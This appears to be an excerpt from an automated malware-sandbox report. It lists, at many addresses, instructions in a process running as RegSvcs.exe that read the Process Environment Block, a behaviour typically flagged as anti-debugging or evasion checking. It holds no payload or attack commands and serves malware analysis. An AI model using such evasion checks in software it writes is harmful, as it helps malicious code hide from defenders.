Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158C020 mov eax, dword ptr fs:[00000030h]	8_2_0158C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016160E0 mov eax, dword ptr fs:[00000030h]	8_2_016160E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158C0F0 mov eax, dword ptr fs:[00000030h]	8_2_0158C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D20F0 mov ecx, dword ptr fs:[00000030h]	8_2_015D20F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015980E9 mov eax, dword ptr fs:[00000030h]	8_2_015980E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158A0E3 mov ecx, dword ptr fs:[00000030h]	8_2_0158A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016120DE mov eax, dword ptr fs:[00000030h]	8_2_016120DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016280A8 mov eax, dword ptr fs:[00000030h]	8_2_016280A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159208A mov eax, dword ptr fs:[00000030h]	8_2_0159208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016560B8 mov eax, dword ptr fs:[00000030h]	8_2_016560B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016560B8 mov ecx, dword ptr fs:[00000030h]	8_2_016560B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015880A0 mov eax, dword ptr fs:[00000030h]	8_2_015880A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163437C mov eax, dword ptr fs:[00000030h]	8_2_0163437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01612349 mov eax, dword ptr fs:[00000030h]	8_2_01612349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0166634F mov eax, dword ptr fs:[00000030h]	8_2_0166634F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01638350 mov ecx, dword ptr fs:[00000030h]	8_2_01638350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165A352 mov eax, dword ptr fs:[00000030h]	8_2_0165A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161035C mov eax, dword ptr fs:[00000030h]	8_2_0161035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161035C mov eax, dword ptr fs:[00000030h]	8_2_0161035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161035C mov eax, dword ptr fs:[00000030h]	8_2_0161035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161035C mov ecx, dword ptr fs:[00000030h]	8_2_0161035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161035C mov eax, dword ptr fs:[00000030h]	8_2_0161035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161035C mov eax, dword ptr fs:[00000030h]	8_2_0161035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01668324 mov eax, dword ptr fs:[00000030h]	8_2_01668324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01668324 mov ecx, dword ptr fs:[00000030h]	8_2_01668324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01668324 mov eax, dword ptr fs:[00000030h]	8_2_01668324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01668324 mov eax, dword ptr fs:[00000030h]	8_2_01668324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158C310 mov ecx, dword ptr fs:[00000030h]	8_2_0158C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B0310 mov ecx, dword ptr fs:[00000030h]	8_2_015B0310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA30B mov eax, dword ptr fs:[00000030h]	8_2_015CA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA30B mov eax, dword ptr fs:[00000030h]	8_2_015CA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA30B mov eax, dword ptr fs:[00000030h]	8_2_015CA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0159A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0159A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0159A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0159A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0159A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0159A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015983C0 mov eax, dword ptr fs:[00000030h]	8_2_015983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015983C0 mov eax, dword ptr fs:[00000030h]	8_2_015983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015983C0 mov eax, dword ptr fs:[00000030h]	8_2_015983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015983C0 mov eax, dword ptr fs:[00000030h]	8_2_015983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016163C0 mov eax, dword ptr fs:[00000030h]	8_2_016163C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C63FF mov eax, dword ptr fs:[00000030h]	8_2_015C63FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164C3CD mov eax, dword ptr fs:[00000030h]	8_2_0164C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE3F0 mov eax, dword ptr fs:[00000030h]	8_2_015AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE3F0 mov eax, dword ptr fs:[00000030h]	8_2_015AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE3F0 mov eax, dword ptr fs:[00000030h]	8_2_015AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A03E9 mov eax, dword ptr fs:[00000030h]	8_2_015A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016343D4 mov eax, dword ptr fs:[00000030h]	8_2_016343D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016343D4 mov eax, dword ptr fs:[00000030h]	8_2_016343D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E3DB mov eax, dword ptr fs:[00000030h]	8_2_0163E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E3DB mov eax, dword ptr fs:[00000030h]	8_2_0163E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E3DB mov ecx, dword ptr fs:[00000030h]	8_2_0163E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E3DB mov eax, dword ptr fs:[00000030h]	8_2_0163E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01588397 mov eax, dword ptr fs:[00000030h]	8_2_01588397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01588397 mov eax, dword ptr fs:[00000030h]	8_2_01588397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01588397 mov eax, dword ptr fs:[00000030h]	8_2_01588397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158E388 mov eax, dword ptr fs:[00000030h]	8_2_0158E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158E388 mov eax, dword ptr fs:[00000030h]	8_2_0158E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158E388 mov eax, dword ptr fs:[00000030h]	8_2_0158E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B438F mov eax, dword ptr fs:[00000030h]	8_2_015B438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B438F mov eax, dword ptr fs:[00000030h]	8_2_015B438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596259 mov eax, dword ptr fs:[00000030h]	8_2_01596259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158A250 mov eax, dword ptr fs:[00000030h]	8_2_0158A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274 mov eax, dword ptr fs:[00000030h]	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01618243 mov eax, dword ptr fs:[00000030h]	8_2_01618243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01618243 mov ecx, dword ptr fs:[00000030h]	8_2_01618243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158826B mov eax, dword ptr fs:[00000030h]	8_2_0158826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164A250 mov eax, dword ptr fs:[00000030h]	8_2_0164A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164A250 mov eax, dword ptr fs:[00000030h]	8_2_0164A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01594260 mov eax, dword ptr fs:[00000030h]	8_2_01594260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01594260 mov eax, dword ptr fs:[00000030h]	8_2_01594260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01594260 mov eax, dword ptr fs:[00000030h]	8_2_01594260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0166625D mov eax, dword ptr fs:[00000030h]	8_2_0166625D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158823B mov eax, dword ptr fs:[00000030h]	8_2_0158823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0159A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0159A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0159A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0159A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0159A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016662D6 mov eax, dword ptr fs:[00000030h]	8_2_016662D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A02E1 mov eax, dword ptr fs:[00000030h]	8_2_015A02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A02E1 mov eax, dword ptr fs:[00000030h]	8_2_015A02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A02E1 mov eax, dword ptr fs:[00000030h]	8_2_015A02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016262A0 mov eax, dword ptr fs:[00000030h]	8_2_016262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016262A0 mov ecx, dword ptr fs:[00000030h]	8_2_016262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016262A0 mov eax, dword ptr fs:[00000030h]	8_2_016262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016262A0 mov eax, dword ptr fs:[00000030h]	8_2_016262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016262A0 mov eax, dword ptr fs:[00000030h]	8_2_016262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016262A0 mov eax, dword ptr fs:[00000030h]	8_2_016262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE284 mov eax, dword ptr fs:[00000030h]	8_2_015CE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE284 mov eax, dword ptr fs:[00000030h]	8_2_015CE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01610283 mov eax, dword ptr fs:[00000030h]	8_2_01610283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01610283 mov eax, dword ptr fs:[00000030h]	8_2_01610283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01610283 mov eax, dword ptr fs:[00000030h]	8_2_01610283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A02A0 mov eax, dword ptr fs:[00000030h]	8_2_015A02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A02A0 mov eax, dword ptr fs:[00000030h]	8_2_015A02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01598550 mov eax, dword ptr fs:[00000030h]	8_2_01598550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01598550 mov eax, dword ptr fs:[00000030h]	8_2_01598550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C656A mov eax, dword ptr fs:[00000030h]	8_2_015C656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C656A mov eax, dword ptr fs:[00000030h]	8_2_015C656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C656A mov eax, dword ptr fs:[00000030h]	8_2_015C656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01626500 mov eax, dword ptr fs:[00000030h]	8_2_01626500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE53E mov eax, dword ptr fs:[00000030h]	8_2_015BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE53E mov eax, dword ptr fs:[00000030h]	8_2_015BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE53E mov eax, dword ptr fs:[00000030h]	8_2_015BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE53E mov eax, dword ptr fs:[00000030h]	8_2_015BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE53E mov eax, dword ptr fs:[00000030h]	8_2_015BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664500 mov eax, dword ptr fs:[00000030h]	8_2_01664500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664500 mov eax, dword ptr fs:[00000030h]	8_2_01664500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664500 mov eax, dword ptr fs:[00000030h]	8_2_01664500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664500 mov eax, dword ptr fs:[00000030h]	8_2_01664500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664500 mov eax, dword ptr fs:[00000030h]	8_2_01664500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664500 mov eax, dword ptr fs:[00000030h]	8_2_01664500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664500 mov eax, dword ptr fs:[00000030h]	8_2_01664500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0535 mov eax, dword ptr fs:[00000030h]	8_2_015A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0535 mov eax, dword ptr fs:[00000030h]	8_2_015A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0535 mov eax, dword ptr fs:[00000030h]	8_2_015A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0535 mov eax, dword ptr fs:[00000030h]	8_2_015A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0535 mov eax, dword ptr fs:[00000030h]	8_2_015A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0535 mov eax, dword ptr fs:[00000030h]	8_2_015A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015965D0 mov eax, dword ptr fs:[00000030h]	8_2_015965D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA5D0 mov eax, dword ptr fs:[00000030h]	8_2_015CA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA5D0 mov eax, dword ptr fs:[00000030h]	8_2_015CA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE5CF mov eax, dword ptr fs:[00000030h]	8_2_015CE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE5CF mov eax, dword ptr fs:[00000030h]	8_2_015CE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC5ED mov eax, dword ptr fs:[00000030h]	8_2_015CC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC5ED mov eax, dword ptr fs:[00000030h]	8_2_015CC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015925E0 mov eax, dword ptr fs:[00000030h]	8_2_015925E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE5E7 mov eax, dword ptr fs:[00000030h]	8_2_015BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE59C mov eax, dword ptr fs:[00000030h]	8_2_015CE59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016105A7 mov eax, dword ptr fs:[00000030h]	8_2_016105A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016105A7 mov eax, dword ptr fs:[00000030h]	8_2_016105A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016105A7 mov eax, dword ptr fs:[00000030h]	8_2_016105A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C4588 mov eax, dword ptr fs:[00000030h]	8_2_015C4588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01592582 mov eax, dword ptr fs:[00000030h]	8_2_01592582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01592582 mov ecx, dword ptr fs:[00000030h]	8_2_01592582
